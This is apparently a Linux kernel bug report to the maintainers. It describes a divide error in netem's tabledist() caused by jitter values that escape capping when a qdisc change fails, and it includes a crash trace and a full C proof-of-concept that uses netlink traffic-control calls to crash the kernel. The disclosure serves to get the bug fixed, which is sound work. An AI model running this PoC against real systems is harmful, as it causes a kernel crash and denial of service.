[BUG] divide error in tabledist

[GangMin Kim]

Dear Linux kernel developers and maintainers,
Using a modified version of syzkaller, I identified a new bug and
refined the PoC, and the bug-related information is attached
below.Please let me know if you need any further information.

Summary
In netem, when jitter is set to 0x80000000, a divide error occurs when
tabledist is processed during the subsequent netem_enqueue operation.

Keywords
- net/sched

Kernel Info
Version: (Output of /proc/version)
- Linux version 6.19.0-rc7
Commit: (Git hash if applicable)
- 63804fed149a6750ffd28610c5c1c98cce6bd377

Description(Root Cause)
```
static int netem_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
struct netem_sched_data *q = qdisc_priv(sch);
struct nlattr *tb[TCA_NETEM_MAX + 1];
struct disttable *delay_dist = NULL;
struct disttable *slot_dist = NULL;
struct tc_netem_qopt *qopt;
struct clgstate old_clg;
int old_loss_model = CLG_RANDOM;
int ret;

qopt = nla_data(opt);
...
sch->limit = qopt->limit;

q->latency = PSCHED_TICKS2NS(qopt->latency);
q->jitter = PSCHED_TICKS2NS(qopt->jitter); // [1]
q->limit = qopt->limit;
q->gap = qopt->gap;
q->counter = 0;
q->loss = qopt->loss;

ret = check_netem_in_tree(sch, qopt->duplicate, extack); // [2]
if (ret)
goto unlock;
...
/* capping jitter to the range acceptable by tabledist() */
q->jitter = min_t(s64, abs(q->jitter), INT_MAX); // [3]
...
unlock:
sch_tree_unlock(sch);

table_free:
dist_free(delay_dist);
dist_free(slot_dist);
return ret;
}
```
When qopt->jitter is 0x6e000000, at [1] q->jitter is set to
0x1b80000000. If netem is already configured and a change operation is
attempted but fails at [2], the q values are modified but the process
at [3] is not executed. Therefore, q->jitter can be set to a value
exceeding INT_MAX.

```
static int netem_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
struct netem_sched_data *q = qdisc_priv(sch);
/* We don't fill cb now as skb_unshare() may invalidate it */
struct netem_skb_cb *cb;
struct sk_buff *skb2 = NULL;
struct sk_buff *segs = NULL;
unsigned int prev_len = qdisc_pkt_len(skb);
int count = 1;
...
if (q->gap == 0 || /* not doing reordering */
    q->counter < q->gap - 1 || /* inside last reordering gap */
    q->reorder < get_crandom(&q->reorder_cor, &q->prng)) {
u64 now;
s64 delay;

delay = tabledist(q->latency, q->jitter, // [4]
  &q->delay_cor, &q->prng, q->delay_dist);

...
}
...
return NET_XMIT_SUCCESS;
}

static s64 tabledist(s64 mu, s32 sigma,
     struct crndstate *state,
     struct prng *prng,
     const struct disttable *dist)
{
s64 x;
long t;
u32 rnd;

if (sigma == 0)
return mu;

rnd = get_crandom(state, prng);

/* default uniform distribution */
if (dist == NULL)
return ((rnd % (2 * (u32)sigma)) + mu) - sigma; // [5]
...
return  x / NETEM_DIST_SCALE + (sigma / NETEM_DIST_SCALE) * t + mu;
}
```
Subsequently, in netem_enqueue(), the previously set value is passed
at [4], and in tabledist(), sigma is set to 0x80000000. This causes
the calculation at [5] to become 2 * 0x80000000, which overflows to 0,
resulting in a divide-by-zero error.

Kasan Report
Oops: divide error: 0000 [#1] SMP KASAN NOPTI
CPU: 0 UID: 0 PID: 332 Comm: test Not tainted 6.19.0-rc7 #8 PREEMPT(full)
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS
1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:tabledist.part.0+0x21e/0x290 net/sched/sch_netem.c:345
Code: 4c 01 f0 48 c1 e8 20 41 89 45 00 41 89 c6 e8 49 d1 9a fd 48 85
db 0f 85 78 fe ff ff e8 3b d1 9a fd 8d 4c 2d 00 44 89 f0 31 d2 <f7> f1
49 29 ec 49 01 d4 e9 2a ff ff ff e8 20 d1 9a fd 48 81 eb 00
RSP: 0018:ffff88810f61f1f8 EFLAGS: 00010246
RAX: 00000000aecf3ad7 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000080000000 RDI: ffff88810900da7c
RBP: ffffffff80000000 R08: 0000000000000000 R09: ffffed10233895cc
R10: ffff888119c4ae67 R11: 0000000000000000 R12: 0000000001000300
R13: ffff88810900da3c R14: 00000000aecf3ad7 R15: ffff88810900da40
FS:  00007f2531e11540(0000) GS:ffff88834ad89000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f2531cfe1c0 CR3: 00000001215fe000 CR4: 0000000000750ef0
PKRU: 55555554
Call Trace:
 <TASK>
 tabledist net/sched/sch_netem.c:559 [inline]
 netem_enqueue+0x4f4/0x3180 net/sched/sch_netem.c:559
 qdisc_enqueue include/net/sch_generic.h:887 [inline]
 qfq_enqueue+0x46f/0x13c0 net/sched/sch_qfq.c:1256
 dev_qdisc_enqueue+0x45/0x160 net/core/dev.c:4147
 __dev_xmit_skb net/core/dev.c:4262 [inline]
 __dev_queue_xmit+0x1eea/0x3060 net/core/dev.c:4798
 dev_queue_xmit include/linux/netdevice.h:3381 [inline]
 neigh_hh_output include/net/neighbour.h:540 [inline]
 neigh_output include/net/neighbour.h:554 [inline]
 ip_finish_output2+0xdd2/0x1710 net/ipv4/ip_output.c:237
 __ip_finish_output.part.0+0x182/0x2f0 net/ipv4/ip_output.c:315
 __ip_finish_output net/ipv4/ip_output.c:444 [inline]
 ip_finish_output net/ipv4/ip_output.c:325 [inline]
 NF_HOOK_COND include/linux/netfilter.h:307 [inline]
 ip_output+0x288/0x510 net/ipv4/ip_output.c:438
 dst_output include/net/dst.h:464 [inline]
 ip_local_out net/ipv4/ip_output.c:131 [inline]
 ip_send_skb+0x160/0x1b0 net/ipv4/ip_output.c:1508
 udp_send_skb+0x6d6/0x1000 net/ipv4/udp.c:1195
 udp_sendmsg+0x1463/0x1eb0 net/ipv4/udp.c:1484
 inet_sendmsg+0xfa/0x140 net/ipv4/af_inet.c:859
 sock_sendmsg_nosec net/socket.c:727 [inline]
 __sock_sendmsg net/socket.c:742 [inline]
 sock_write_iter+0x493/0x5b0 net/socket.c:1195
 new_sync_write fs/read_write.c:593 [inline]
 vfs_write+0x657/0xd30 fs/read_write.c:686
 ksys_write+0x1b2/0x200 fs/read_write.c:738
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xa4/0x320 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f2531d27513
Code: 8b 15 81 29 0e 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f
1f 00 64 8b 04 25 18 00 00 00 85 c0 75 14 b8 01 00 00 00 0f 05 <48> 3d
00 f0 ff ff 77 55 c3 0f 1f 40 00 48 83 ec 28 48 89 54 24 18
RSP: 002b:00007ffe09e5d858 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f2531d27513
RDX: 0000000000000040 RSI: 00007ffe09e5d890 RDI: 0000000000000004
RBP: 00007ffe09e5d8f0 R08: 0000000000000004 R09: 0000000000020000
R10: 00007ffe09e5d87c R11: 0000000000000246 R12: 000055c28686a100
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 </TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:tabledist.part.0+0x21e/0x290 net/sched/sch_netem.c:345
Code: 4c 01 f0 48 c1 e8 20 41 89 45 00 41 89 c6 e8 49 d1 9a fd 48 85
db 0f 85 78 fe ff ff e8 3b d1 9a fd 8d 4c 2d 00 44 89 f0 31 d2 <f7> f1
49 29 ec 49 01 d4 e9 2a ff ff ff e8 20 d1 9a fd 48 81 eb 00
RSP: 0018:ffff88810f61f1f8 EFLAGS: 00010246
RAX: 00000000aecf3ad7 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000080000000 RDI: ffff88810900da7c
RBP: ffffffff80000000 R08: 0000000000000000 R09: ffffed10233895cc
R10: ffff888119c4ae67 R11: 0000000000000000 R12: 0000000001000300
R13: ffff88810900da3c R14: 00000000aecf3ad7 R15: ffff88810900da40
FS:  00007f2531e11540(0000) GS:ffff88834ad89000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f2531cfe1c0 CR3: 00000001215fe000 CR4: 0000000000750ef0
PKRU: 55555554
----------------
Code disassembly (best guess):
   0: 4c 01 f0              add    %r14,%rax
   3: 48 c1 e8 20          shr    $0x20,%rax
   7: 41 89 45 00          mov    %eax,0x0(%r13)
   b: 41 89 c6              mov    %eax,%r14d
   e: e8 49 d1 9a fd        call   0xfd9ad15c
  13: 48 85 db              test   %rbx,%rbx
  16: 0f 85 78 fe ff ff    jne    0xfffffe94
  1c: e8 3b d1 9a fd        call   0xfd9ad15c
  21: 8d 4c 2d 00          lea    0x0(%rbp,%rbp,1),%ecx
  25: 44 89 f0              mov    %r14d,%eax
  28: 31 d2                xor    %edx,%edx
* 2a: f7 f1                div    %ecx <-- trapping instruction
  2c: 49 29 ec              sub    %rbp,%r12
  2f: 49 01 d4              add    %rdx,%r12
  32: e9 2a ff ff ff        jmp    0xffffff61
  37: e8 20 d1 9a fd        call   0xfd9ad15c
  3c: 48                    rex.W
  3d: 81                    .byte 0x81
  3e: eb 00                jmp    0x40
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>

#define NLA_F_NESTED (1 << 15)


#define TC_MSG_BUFSIZE 16384
#define TC_HANDLE(maj, min) (((maj) << 16) | (min))



#define NLMSG_TAIL(nmsg) ((struct rtattr*)(((char*)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))



static char g_nl_buf[TC_MSG_BUFSIZE];

static struct nlmsghdr* nl_msg_init(void)
{
  struct nlmsghdr* msg = (struct nlmsghdr*)g_nl_buf;
  memset(msg, 0, TC_MSG_BUFSIZE);
  msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
  return msg;
}

static struct tcmsg* nl_msg_init_tc(struct nlmsghdr* msg, uint16_t type,
                                    uint16_t flags, int ifindex,
                                    uint32_t parent, uint32_t handle)
{
  struct tcmsg* tc;
  msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
  msg->nlmsg_type = type;
  msg->nlmsg_flags = flags;
  tc = (struct tcmsg*)NLMSG_DATA(msg);
  tc->tcm_family = AF_UNSPEC;
  tc->tcm_ifindex = ifindex;
  tc->tcm_parent = parent;
  tc->tcm_handle = handle;
  return tc;
}

static int nl_attr_put(struct nlmsghdr* msg, int maxlen, int type,
                       const void* data, int alen)
{
  int len = RTA_LENGTH(alen);
  struct rtattr* rta;
  if (NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len) > (unsigned int)maxlen)
    return -1;
  rta = NLMSG_TAIL(msg);
  rta->rta_type = type;
  rta->rta_len = len;
  if (alen && data)
    memcpy(RTA_DATA(rta), data, alen);
  msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len);
  return 0;
}

static int nl_attr_put_str(struct nlmsghdr* msg, int maxlen, int type,
                           const char* str)
{
  return nl_attr_put(msg, maxlen, type, str, strlen(str) + 1);
}

static int nl_attr_put_u32(struct nlmsghdr* msg, int maxlen, int type,
                           uint32_t v)
{
  return nl_attr_put(msg, maxlen, type, &v, 4);
}

static struct rtattr* nl_attr_nest_start(struct nlmsghdr* msg, int maxlen,
                                         int type)
{
  struct rtattr* nest = NLMSG_TAIL(msg);

  if (nl_attr_put(msg, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
    return NULL;
  return nest;
}

static void nl_attr_nest_end(struct nlmsghdr* msg, struct rtattr* nest)
{
  nest->rta_len = (char*)NLMSG_TAIL(msg) - (char*)nest;
}

static int nl_send(int sock, struct nlmsghdr* msg)
{
  struct sockaddr_nl nladdr;
  struct iovec iov;
  struct msghdr msgh;
  memset(&nladdr, 0, sizeof(nladdr));
  nladdr.nl_family = AF_NETLINK;
  iov.iov_base = msg;
  iov.iov_len = msg->nlmsg_len;
  memset(&msgh, 0, sizeof(msgh));
  msgh.msg_name = &nladdr;
  msgh.msg_namelen = sizeof(nladdr);
  msgh.msg_iov = &iov;
  msgh.msg_iovlen = 1;
  return sendmsg(sock, &msgh, 0);
}

static void send_to_class(uint32_t classid, int count)
{
    int sock;
    struct sockaddr_in addr;
    char data[64] = "trigger";
    
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
        return;
    
    const char* ifname = "lo";
    setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname));
    
    struct timeval tv = {0, 10000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
    
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(0x7F000001);
    addr.sin_port = htons(12345);
    
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        int prio = classid;
        setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &prio, sizeof(prio));
        for (int i = 0; i < count; i++)
            write(sock, data, sizeof(data));
    }
    close(sock);
}



static int set_qdisc_netem_1(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};

  int flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0;
  qopt.jitter = 0;
  qopt.limit = 1000;
  qopt.loss = 0;
  qopt.duplicate = 0;
  qopt.gap = 0;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int set_qdisc_netem_2(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};
  int flags = NLM_F_REQUEST | NLM_F_CREATE |  NLM_F_EXCL;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0;
  qopt.jitter = 0;
  qopt.limit = 1000;
  qopt.loss = 0;
  qopt.duplicate = 0;
  qopt.gap = 0;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int set_qdisc_netem_3(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};
  struct tc_netem_corrupt corrupt = {0};
  struct tc_netem_reorder reorder = {0};
  struct tc_netem_rate rate = {0};
  struct tc_netem_corr corr = {0};
  struct tc_netem_gemodel gemodel = {0};
  struct tc_netem_gimodel gimodel = {0};
  struct rtattr* nest;
  int flags =
      NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0x4000c;
  qopt.jitter = 0x6e000000;
  qopt.limit = 1;
  qopt.loss = 0x6e000000;
  qopt.duplicate = 1;
  qopt.gap = 0x3000c;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int del_qdisc(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  nl_msg_init_tc(msg, RTM_DELQDISC, NLM_F_REQUEST, ifindex, parent, handle);
  return nl_send(sock, msg);
}


static void cleanup_tc(int sock, int ifindex)
{
  del_qdisc(sock, ifindex, TC_H_ROOT, 0);
  del_qdisc(sock, ifindex, TC_H_INGRESS, 0);
}

static void add_qdisc_qfq(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
    struct nlmsghdr* msg = nl_msg_init();
    nl_msg_init_tc(msg, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL,ifindex, parent, handle);
    nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "qfq");
    nl_send(sock, msg);
}

static int add_class_qfq(int sock, int ifindex, uint32_t parent, uint32_t handle,
                     uint32_t weight, uint32_t limit)
{
  struct rtattr* nest;
  struct nlmsghdr* msg = nl_msg_init();
  nl_msg_init_tc(msg, RTM_NEWTCLASS, NLM_F_REQUEST | NLM_F_CREATE, ifindex,parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "qfq");
  nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
  nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_QFQ_WEIGHT,weight);
  nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_QFQ_LMAX, limit);
  nl_attr_nest_end(msg, nest);
  return nl_send(sock, msg);
}



static long trigger(void)
{
  int sock;
  int ifindex = 1;

  sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

  cleanup_tc(sock, ifindex);
  
  add_qdisc_qfq(sock, ifindex, TC_H_ROOT, TC_HANDLE(1, 0));

  add_class_qfq(sock, ifindex, TC_HANDLE(1, 0), TC_HANDLE(1, 1), 1, 1024);
  add_class_qfq(sock, ifindex, TC_HANDLE(1, 0), TC_HANDLE(1, 2), 1, 1024);
  
  set_qdisc_netem_1(sock, ifindex, TC_HANDLE(1, 1), TC_HANDLE(2, 0));
  set_qdisc_netem_2(sock, ifindex, TC_HANDLE(1, 2), TC_HANDLE(3, 0));
  
  send_to_class(TC_HANDLE(1, 1),1);
  send_to_class(TC_HANDLE(1, 2),1);

  sleep(2);
  set_qdisc_netem_3(sock, ifindex, TC_HANDLE(1, 1), TC_HANDLE(2, 0));

  send_to_class(TC_HANDLE(1, 1),10);

  sleep(2);

  close(sock);
  return 0;
}


int main(void)
{

  trigger();
  return 0;
}

Attachment: .config
Description: XML document